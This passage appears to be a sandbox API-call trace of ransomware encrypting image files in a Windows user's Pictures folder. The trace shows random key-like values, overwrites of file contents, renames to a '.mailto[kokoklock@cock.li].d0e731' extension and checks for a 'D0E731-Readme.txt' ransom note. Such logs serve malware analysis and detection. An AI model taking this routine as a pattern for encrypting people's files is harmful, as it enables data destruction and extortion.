RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88278 [0169.750] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88278) returned 1 [0169.750] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0169.750] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.750] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1116f96c, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x1116f96c*=0x4096, lpOverlapped=0x0) returned 1 [0169.750] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.750] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x114bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.750] WriteFile (in: hFile=0x370, lpBuffer=0x2f88228*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1116f9a4, lpOverlapped=0x0 | out: lpBuffer=0x2f88228*, lpNumberOfBytesWritten=0x1116f9a4*=0x20, lpOverlapped=0x0) returned 1 [0169.751] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88228) returned 1 [0169.751] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.751] WriteFile (in: hFile=0x370, lpBuffer=0x2f88200*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1116f9b8, lpOverlapped=0x0 | out: lpBuffer=0x2f88200*, lpNumberOfBytesWritten=0x1116f9b8*=0x8, lpOverlapped=0x0) returned 1 [0169.752] WriteFile (in: hFile=0x370, lpBuffer=0x1116f9d0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1116f9b8, lpOverlapped=0x0 | out: lpBuffer=0x1116f9d0*, lpNumberOfBytesWritten=0x1116f9b8*=0x4, lpOverlapped=0x0) returned 1 [0169.752] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1116f9b8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1116f9b8*=0x4, lpOverlapped=0x0) returned 1 [0169.752] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1116f9b8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1116f9b8*=0x6c, lpOverlapped=0x0) returned 1 [0169.752] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1116f9b8, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x1116f9b8*=0x20, lpOverlapped=0x0) returned 1 [0169.752] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1116f9b8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1116f9b8*=0x4, lpOverlapped=0x0) returned 1 [0169.752] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.753] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0169.753] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88200) returned 1 [0169.753] CloseHandle (hObject=0x370) returned 1 [0169.753] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd8) returned 0x2f97ad8 [0169.753] wcscpy (in: _Dest=0x2f97ad8, _Source="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731" [0169.753] wcscat (in: _Dest=0x2f97ad8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.753] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\e2booautk7dj.png.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\e2booautk7dj.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.754] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.754] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97ad8) returned 1 [0169.754] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.754] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0169.754] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.754] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.754] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.754] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0169.754] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3cc0) returned 1 [0169.754] RtlExitUserThread (Status=0x1) Thread: id = 1863 os_tid = 0xff8 [0169.760] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\f3djqrk-npfsqmq a l3.jpg.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.761] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.761] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\f3djqrk-npfsqmq a l3.jpg.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.761] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x111eff1c | out: lpFileSize=0x111eff1c*=23455) returned 1 [0169.761] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x5b9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.761] ReadFile (in: hFile=0x370, lpBuffer=0x111efef0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x111efeec, lpOverlapped=0x0 | out: lpBuffer=0x111efef0*, lpNumberOfBytesRead=0x111efeec*=0x4, lpOverlapped=0x0) returned 1 [0169.762] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.762] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.762] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.762] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88200 [0169.762] NtQuerySystemTime (in: CurrentTime=0x111efec8 | out: CurrentTime=0x111efec8*=132121213270845418) returned 0x0 [0169.762] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x85b7b1d2 [0169.762] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x94fc83f7 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x1f41b212 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0xacbb4504 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x3b2c0d5c [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0xf61ad422 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0xa5f5e5f [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0xfdeed1c5 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x718fdeab [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0xbd66563d [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x8b91d8a6 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x3737f31 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x190ba5fc [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x21280f89 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0xfe7f4792 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x8ef24c5 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0xf30a39a2 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0xcee99370 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x7a793a0f [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x94eaf3d5 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x997a42a4 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0xe97b0ad [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x81ffab01 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x3beda4e9 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x685f6baf [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x3b9e17e6 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x2b3b8065 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x8c5a4257 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x8da26fa9 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0xbb438ce4 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0x3eba0738 [0169.763] RtlRandom (in: Seed=0x111efed4 | out: Seed=0x111efed4) returned 0xb14dce70 [0169.772] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0169.774] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.774] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88228 [0169.774] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.774] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.774] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.774] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.775] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x111efea0, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x111efea0*=0x4096, lpOverlapped=0x0) returned 1 [0169.775] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.775] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.775] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0169.775] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88278 [0169.775] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88278) returned 1 [0169.775] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.776] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88278 [0169.776] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.776] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.776] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0169.776] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.776] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x111efea0, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x111efea0*=0x4096, lpOverlapped=0x0) returned 1 [0169.776] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.776] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x5b9f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.776] WriteFile (in: hFile=0x370, lpBuffer=0x2f88278*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x111efed8, lpOverlapped=0x0 | out: lpBuffer=0x2f88278*, lpNumberOfBytesWritten=0x111efed8*=0x20, lpOverlapped=0x0) returned 1 [0169.776] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88278) returned 1 [0169.776] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.776] WriteFile (in: hFile=0x370, lpBuffer=0x2f88228*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x111efeec, lpOverlapped=0x0 | out: lpBuffer=0x2f88228*, lpNumberOfBytesWritten=0x111efeec*=0x8, lpOverlapped=0x0) returned 1 [0169.777] WriteFile (in: hFile=0x370, lpBuffer=0x111eff04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x111efeec, lpOverlapped=0x0 | out: lpBuffer=0x111eff04*, lpNumberOfBytesWritten=0x111efeec*=0x4, lpOverlapped=0x0) returned 1 [0169.777] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x111efeec, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x111efeec*=0x4, lpOverlapped=0x0) returned 1 [0169.777] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x111efeec, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x111efeec*=0x6c, lpOverlapped=0x0) returned 1 [0169.777] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x111efeec, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x111efeec*=0x20, lpOverlapped=0x0) returned 1 [0169.777] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x111efeec, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x111efeec*=0x4, lpOverlapped=0x0) returned 1 [0169.777] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.777] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0169.777] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88228) returned 1 [0169.777] CloseHandle (hObject=0x370) returned 1 [0169.778] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc41c0 [0169.778] wcscpy (in: _Dest=0x2fc41c0, _Source="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731" [0169.778] wcscat (in: _Dest=0x2fc41c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.778] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\f3djqrk-npfsqmq a l3.jpg.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\f3djqrk-npfsqmq a l3.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.780] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.780] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc41c0) returned 1 [0169.780] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.780] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0169.780] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.780] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.781] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.781] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0169.781] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e8c0) returned 1 [0169.781] RtlExitUserThread (Status=0x1) Thread: id = 1864 os_tid = 0xffc [0169.782] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ft3t49enj.jpg.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.782] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.783] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ft3t49Enj.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ft3t49enj.jpg.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.783] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x1126f854 | out: lpFileSize=0x1126f854*=90231) returned 1 [0169.783] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x16073, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.783] ReadFile (in: hFile=0x370, lpBuffer=0x1126f828, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1126f824, lpOverlapped=0x0 | out: lpBuffer=0x1126f828*, lpNumberOfBytesRead=0x1126f824*=0x4, lpOverlapped=0x0) returned 1 [0169.784] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.784] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.784] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.784] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88228 [0169.784] NtQuerySystemTime (in: CurrentTime=0x1126f800 | out: CurrentTime=0x1126f800*=132121213271002027) returned 0x0 [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0xfdc4362a [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0x5b1477da [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0x9f7b27fe [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0x8f888631 [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0xc36781f2 [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0xd3474da0 [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0x59aa037b [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0xb078eb13 [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0x91af09d3 [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0xaf49c344 [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0x5a079994 [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0xe41155a [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0x7758d7e5 [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0xb35a4a3e [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0xe671e296 [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0xeb796d3b [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0x544f72f7 [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0x1d56eb1c [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0xea929646 [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0x70c2c262 [0169.784] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0x3fe2a120 [0169.785] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0x2bccc55 [0169.785] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0xce479269 [0169.785] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0x57255acd [0169.785] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0x117b7cbe [0169.785] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0xb018130c [0169.785] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0x6cf7e5af [0169.785] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0xdd229ade [0169.785] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0x8027017c [0169.785] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0xb46fbfb0 [0169.785] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0xaa25ae56 [0169.785] RtlRandom (in: Seed=0x1126f80c | out: Seed=0x1126f80c) returned 0xb368c64a [0169.794] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0169.796] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.796] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88278 [0169.796] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.796] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.796] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.796] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.796] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1126f7d8, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x1126f7d8*=0x4096, lpOverlapped=0x0) returned 1 [0169.797] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.797] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.797] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0169.797] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.797] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.797] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.797] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.797] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88390 [0169.797] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88390) returned 1 [0169.797] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0169.797] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.797] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, 